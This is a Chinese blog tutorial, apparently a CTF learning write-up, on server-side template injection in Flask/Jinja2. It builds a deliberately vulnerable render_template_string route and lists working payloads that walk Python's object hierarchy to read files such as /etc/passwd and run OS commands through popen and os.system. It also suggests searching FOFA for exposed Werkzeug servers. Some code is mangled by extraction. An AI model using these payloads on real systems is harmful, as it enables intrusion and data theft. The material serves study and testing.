Flask框架-SSTI模板注入漏洞

文章目录

    • 使用Flask搭建网站
    • 模板渲染
        • flask有2个渲染方法
        • 测试代码1
        • 测试代码2
        • 存在漏洞的代码,测试代码3
    • 利用模板注入漏洞
        • 环境准备
        • 魔术方法和模块利用
        • 漏洞Payload测试和收录
    • FOFA搜索漏洞
    • 参考


使用Flask搭建网站

  1、本地环境:

环境 版本
编辑器 Pycharm/2019.3.3
开发语言 Python/3.7.6
框架 Flask/1.1.1
渲染 Jinja2/2.11.1
Response指纹 Server: Werkzeug/1.0.0 Python/3.7.6

  2、Pycharm新建项目“flask”,选择File-Setting-Project Interpreter-加号搜索Flask-左下角Install Package,或者命令行执行pip install flask

  在Pycharm安装flask包时报错“No matching distribution found for Flask”。
查看Project Interpreter使用的Python解释器,发现使用的是anaconda中的python.exe,
切换成Python3.7.6的解析器,flask包早已存在Python3.7.6的包中。

Flask框架-SSTI模板注入漏洞_第1张图片

  3、测试代码,执行代码:

#coding: utf8

from flask import Flask	# 从flask框架中导入Flask类
app = Flask(__name__)	# 传入__name__初始化一个Flask实例
@app.route('/')	# app.route装饰器的作用是将函数与url绑定起来
def hello_world():
  return 'Hello World!'

if __name__ == '__main__':	# 运行本项目,host=0.0.0.0可以让其他电脑也能访问到该网站,port指定访问的端口。
  app.run(host='127.0.0.1',port=9000)	# 默认的host是127.0.0.1,port为5000

Flask框架-SSTI模板注入漏洞_第2张图片

  4、然后我们使用burp抓包,查看一下服务器的指纹:
Flask框架-SSTI模板注入漏洞_第3张图片


模板渲染

flask有2个渲染方法
渲染方法 说明 示例
render_template() 渲染指定文件 return render_template(‘index.html’)
render_template_string() 渲染字符串 return render_template_string(html)

  关于网站根目录,是Pycharm存储项目的位置,如下flask目录就是网站根目录。

import os
print(os.path.dirname(app.instance_path))

本地示例:D:\PyCharm Community Edition 2019.3.3\MyProtect\venv\flask

  flask使用Jinja2作为渲染引擎。
在根目录创建templates目录,准备用于存放html模板文件。
创建/templates/index.html文件,代码编写为

This is index page

测试代码1
#coding: utf8

from flask import Flask,url_for,redirect,render_template,render_template_string

app = Flask(__name__)
@app.route('/index/')

def hello_world():
  return render_template('index.html')

if __name__ == '__main__':
  app.run(host='127.0.0.1',port=9000)

Flask框架-SSTI模板注入漏洞_第4张图片

  模板文件不是单纯的html代码,往往夹杂着模板的语法,需要传入变量。{{}}在Jinja2中作为变量包裹标识符。
  题眼:不正确的使用flask中的render_template_string方法会引发SSTI。

测试代码2

  其中模板文件templates/index.html的内容是

{{content}}

from flask import Flask,url_for,redirect,render_template,render_template_string
app = Flask(__name__)
@app.route('/index/')
def user_login():
    return render_template('index.html',content='This is index page.')

if __name__ == '__main__':
  app.run(host='127.0.0.1',port=9000)
存在漏洞的代码,测试代码3

  模板引擎一般都默认对渲染的变量值进行编码转义,所以此处经测试不存在XSS。

  但如果是html = '''

%s

'''%(code) return render_template_string(html),那么就会产生XSS漏洞和SSTI漏洞。
  注意,看到网上还有其它版本的漏洞代码,存在漏洞的源码不一定只有这一种形式。

#coding: utf8

from flask import Flask,url_for,redirect,render_template,render_template_string,request
app = Flask(__name__)
@app.route('/index.html')
def user_login():
  name = request.args.get('name')
  #return render_template_string('

hello, {{ name }}

', name=name) # 不存在漏洞
# `return render_template('index.html', name=name)`也不存在漏洞 html = '''

%s

'''
%(name) # 这种编写模板的方式存在XSS漏洞和SSTI漏洞。 return render_template_string(html) if __name__ == '__main__': app.run(host='127.0.0.1',port=9000)

Flask框架-SSTI模板注入漏洞_第5张图片

  渲染模板文件的三种方式中,第三种方式存在漏洞,会执行传入的表达式。
在这里插入图片描述


利用模板注入漏洞

环境准备

  在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。
  后台开发,基于如下测试代码。其中模板文件/templates/index.html的内容是

hello,{{content}}

#coding: utf8

from flask import Flask,url_for,redirect,render_template,render_template_string,request
app = Flask(__name__)
@app.route('/index.html')
def user_login():
  content = request.args.get('name')
  html = '''

hello,%s

'''%(name) # 这种编写模板的方式存在XSS漏洞和SSTI漏洞。 return render_template_string(html) if __name__ == '__main__': app.run(host='127.0.0.1',port=9000)
魔术方法和模块利用

  通过Python的对象继承可以实现文件读取、命令执行等。
  思路链:找到父类 -> 寻找子类 -> 寻找命令执行、文件操作的模块

  魔术方法

名称 说明
.__class__ 查看该类型所属的对象
.__mro__ 查看该对象继承的基类元组
.__base__ 查看该对象继承的基类
.__subclasses__ 每个新类都保留了子类的引用,查看类可用引用的列表
.__init__ 初始化类
.__globals__ 查看类中的方法、属性等值

  相关测试,逐层向上查看。有些不同的是,网上文章打印的类是
而本地测试打印的类是,应该是Python版本的问题,无伤大雅。

Payload 结果
1.查看所属类{{’’.__class__}}
2.查看所属基类{{’’.__class__.__mro__}} (, )
{{’’.__class__.__mro__[0]}}
{{’’.__class__.__base__}}
3.查看子类信息{{’’.__class__.__base__.__subclasses__}}
{{’’.__class__.__mro__[0].__subclasses__}}
4.查看子类的引用列表 {{’’.__class__.__mro__[0].__subclasses__()}} []
{{’’.__class__.__mro__[1].__subclasses__()}} 返回将近1000个类

  我们已经可以调用所有的类了,接下来寻找可以读取文件、执行命令的类,然后调用类中的方法,读取文件或执行命令。通过Python脚本,在子类列表中寻找特定类。

可用类 说明
文件操作类’file’ Python3.7.6中没有找到file对象。格式file().read()
- 利用语句’’.__class__.__mro__[2].__subclasses__()[40](’/etc/passwd’).read()
可用1.‘os._wrap_close’ 读取文件:[128].__init__.__globals__[’__builtins__’][“open”](“D:\test.txt”).read()
- 执行命令:[128].__init__.__globals__[‘popen’](“dir”).read()
含os模块的’site._Printer’ Python3.7.6中没有找到’site._Printer’对象
- ‘’.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[‘os’].system(‘ls’)
含os模块的’site.Quitter’ Python3.7.6中没有找到’site.Quitter’对象
Payload测试 结果
5.寻找os模块或file等模块 -
类’os._wrap_close’ 序号128
6.使用[’__builtins__’]().read()[“open”]成功读取文件:{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__[’__builtins__’][“open”](“D:\test.txt”).read()}} hello,bug
7.使用[‘popen’](“dir”).read()成功执行命令:{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__[‘popen’](“dir”).read()}} 驱动器 D……
#-*- coding:utf-8 -*-
#__author__: HhhM
import json

a = """
, , ,...,
"""
num = 0
allList = []

result = ""
for i in a:
    if i == ">":
        result += i
        allList.append(result)
        result = ""
    elif i == "\n" or i == ",":
        continue
    else:
        result += i

for k,v in enumerate(allList):
    if "os" in v:   # 寻找包含关键词os的类
        print(str(k)+"--->"+v)

在这里插入图片描述
Flask框架-SSTI模板注入漏洞_第6张图片

漏洞Payload测试和收录

  清楚地梳理到__subclasses__()__globals__,但对于全局的方法和属性的调用不太清晰,比如['__builtins__']["open"]['popen']等。
  今天先到这,下篇要写就写绕过过滤,顺便补充一下全局方法和属性的知识。

说明 Payload 结果
验证 name={{7*7}} 49
查看配置文件的全局变量 name={{config}} secret_key、debug……
读取文件 {{"".__class__.__base__.__subclasses__()[128].__init__.__globals__[’__builtins__’][“open”](“D:\test.txt”).read()}} hello,bug
执行命令 {{"".__class__.__base__.__subclasses__()[128].__init__.__globals__[‘popen’](“dir”).read()}} 驱动器 D……
待测试’file’类 .__class__.__mro__[2].__subclasses__()[40](’/etc/passwd’).read() Python3没有这两个类
待测’site._Printer’ ‘’.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[‘os’].system(‘ls’)

FOFA搜索漏洞

  搜索"Werkzeug",搜索"hello" && “Werkzeug”,诚实地讲,很难碰到这个漏洞叭。


参考

  《从零学习flask模板注入》,2018-10(吸收完毕)
https://www.freebuf.com/column/187845.html

  《用Flask开发网站系列教程(一)——URL和视图》,2020-05
https://blog.csdn.net/jspython/article/details/106018350

  《(1)PyCharm开发工具安装Flask并创建helloworld程序》,2019-06
https://www.cnblogs.com/jun1019/p/11052467.html

  《如何获取Flask 应用程序的根路径?》,2018-07
https://cloud.tencent.com/developer/ask/140550

  《浅谈flask与ctf那些事》,2020-08(吸收了近二分之一)
https://www.cnblogs.com/hetianlab/p/13541420.html

你可能感兴趣的:(CTF)